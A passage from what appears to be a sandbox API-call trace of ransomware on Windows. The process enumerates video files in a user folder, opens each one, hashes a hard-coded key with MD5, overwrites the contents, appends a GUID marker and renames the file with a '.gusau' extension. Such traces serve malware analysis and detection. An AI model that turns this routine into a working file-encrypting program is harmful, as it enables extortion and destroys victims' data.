hHeap=0xd10000) returned 1 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.111] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.111] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.112] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.113] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.113] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\") returned="tKB6e7CXHXIzSLY\\" [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8100 [0119.113] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\") returned="muLwtSyMNArdmekL\\" [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.113] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8100 | out: hHeap=0xd10000) returned 1 [0119.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.113] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.113] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0119.113] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0119.113] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0119.113] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.113] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.113] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.113] PathFindFileNameW (pszPath="") returned="" [0119.113] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.113] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8584910, ftCreationTime.dwHighDateTime=0x1d4cef5, ftLastAccessTime.dwLowDateTime=0xaaee9d60, ftLastAccessTime.dwHighDateTime=0x1d4d1d9, ftLastWriteTime.dwLowDateTime=0xaaee9d60, ftLastWriteTime.dwHighDateTime=0x1d4d1d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.115] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.115] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8584910, ftCreationTime.dwHighDateTime=0x1d4cef5, ftLastAccessTime.dwLowDateTime=0xaaee9d60, ftLastAccessTime.dwHighDateTime=0x1d4d1d9, ftLastWriteTime.dwLowDateTime=0xaaee9d60, ftLastWriteTime.dwHighDateTime=0x1d4d1d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.115] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a463140, ftCreationTime.dwHighDateTime=0x1d4d1ed, ftLastAccessTime.dwLowDateTime=0xfcea56f0, ftLastAccessTime.dwHighDateTime=0x1d4cf26, ftLastWriteTime.dwLowDateTime=0xfcea56f0, ftLastWriteTime.dwHighDateTime=0x1d4cf26, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4Ww3Dv", cAlternateFileName="")) returned 1 [0119.115] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.115] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x39302b0 [0119.115] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930140 [0119.115] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39302b0 | out: hHeap=0xd10000) returned 1 [0119.115] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.115] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x984d93e0, ftCreationTime.dwHighDateTime=0x1d4c555, ftLastAccessTime.dwLowDateTime=0x6e4161e0, ftLastAccessTime.dwHighDateTime=0x1d4ca9a, ftLastWriteTime.dwLowDateTime=0x6e4161e0, ftLastWriteTime.dwHighDateTime=0x1d4ca9a, nFileSizeHigh=0x0, nFileSizeLow=0x5d62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M9S6OcF7aYbMU.swf", cAlternateFileName="M9S6OC~1.SWF")) returned 1 [0119.115] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.115] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x106) returned 0x398ffb8 [0119.115] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.115] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\M9S6OcF7aYbMU.swf") returned=".swf" [0119.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\M9S6OcF7aYbMU.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\m9s6ocf7aybmu.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.116] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=23906) returned 1 [0119.116] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.118] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5d3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.119] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.120] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.120] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.120] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.120] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5d62, lpOverlapped=0x0) returned 1 [0119.121] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.121] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.121] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.121] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.121] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0718) returned 1 [0119.122] CryptCreateHash (in: hProv=0xdf0718, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.122] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.122] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.122] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.122] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.122] GetLastError () returned 0x0 [0119.122] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.122] CryptReleaseContext (hProv=0xdf0718, dwFlags=0x0) returned 1 [0119.122] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.122] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x5d60) returned 0x39f9f20 [0119.122] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.122] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.122] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x5d5d, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x5d5d, lpOverlapped=0x0) returned 1 [0119.123] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.123] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5d62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.123] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.123] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.123] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.123] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.123] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.123] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.123] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.123] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.123] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.123] CloseHandle (hObject=0x610) returned 1 [0119.124] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0119.124] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8d0) returned 0x39f4ef8 [0119.124] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a360 | out: hHeap=0xd10000) returned 1 [0119.124] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\M9S6OcF7aYbMU.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\m9s6ocf7aybmu.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\M9S6OcF7aYbMU.swf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\m9s6ocf7aybmu.swf.gusau")) returned 1 [0119.130] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.130] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.131] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.131] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dea5a0, ftCreationTime.dwHighDateTime=0x1d4c608, ftLastAccessTime.dwLowDateTime=0x53be4890, ftLastAccessTime.dwHighDateTime=0x1d4cbdc, ftLastWriteTime.dwLowDateTime=0x53be4890, ftLastWriteTime.dwHighDateTime=0x1d4cbdc, nFileSizeHigh=0x0, nFileSizeLow=0xd706, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MKQEfW1 O9_GGct.avi", cAlternateFileName="MKQEFW~1.AVI")) returned 1 [0119.131] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930648 [0119.131] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x106) returned 0x398ffb8 [0119.131] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.131] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\MKQEfW1 O9_GGct.avi") returned=".avi" [0119.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\MKQEfW1 O9_GGct.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\mkqefw1 o9_ggct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.131] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=55046) returned 1 [0119.131] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.134] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd6e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.134] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.135] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.135] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.135] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.135] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd706, lpOverlapped=0x0) returned 1 [0119.136] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.136] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.136] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.136] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.136] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0718) returned 1 [0119.137] CryptCreateHash (in: hProv=0xdf0718, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.137] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.137] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.137] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.137] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.138] GetLastError () returned 0x0 [0119.138] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.138] CryptReleaseContext (hProv=0xdf0718, dwFlags=0x0) returned 1 [0119.138] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.138] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd710) returned 0x39f9f20 [0119.138] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.138] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.138] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xd701, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xd701, lpOverlapped=0x0) returned 1 [0119.138] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.138] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd706, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.138] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.138] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.139] CloseHandle (hObject=0x610) returned 1 [0119.139] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\MKQEfW1 O9_GGct.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\mkqefw1 o9_ggct.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\MKQEfW1 O9_GGct.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\mkqefw1 o9_ggct.avi.gusau")) returned 1 [0119.140] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.140] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.141] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ffb8 | out: hHeap=0xd10000) returned 1 [0119.141] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937a71e0, ftCreationTime.dwHighDateTime=0x1d4ca40, ftLastAccessTime.dwLowDateTime=0x38529e10, ftLastAccessTime.dwHighDateTime=0x1d4ca2b, ftLastWriteTime.dwLowDateTime=0x38529e10, ftLastWriteTime.dwHighDateTime=0x1d4ca2b, nFileSizeHigh=0x0, nFileSizeLow=0x6f38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PVK83zEhiJoptl7F1vB.avi", cAlternateFileName="PVK83Z~1.AVI")) returned 1 [0119.141] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\PVK83zEhiJoptl7F1vB.avi") returned=".avi" [0119.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\PVK83zEhiJoptl7F1vB.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\pvk83zehijoptl7f1vb.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.142] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=28472) returned 1 [0119.142] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 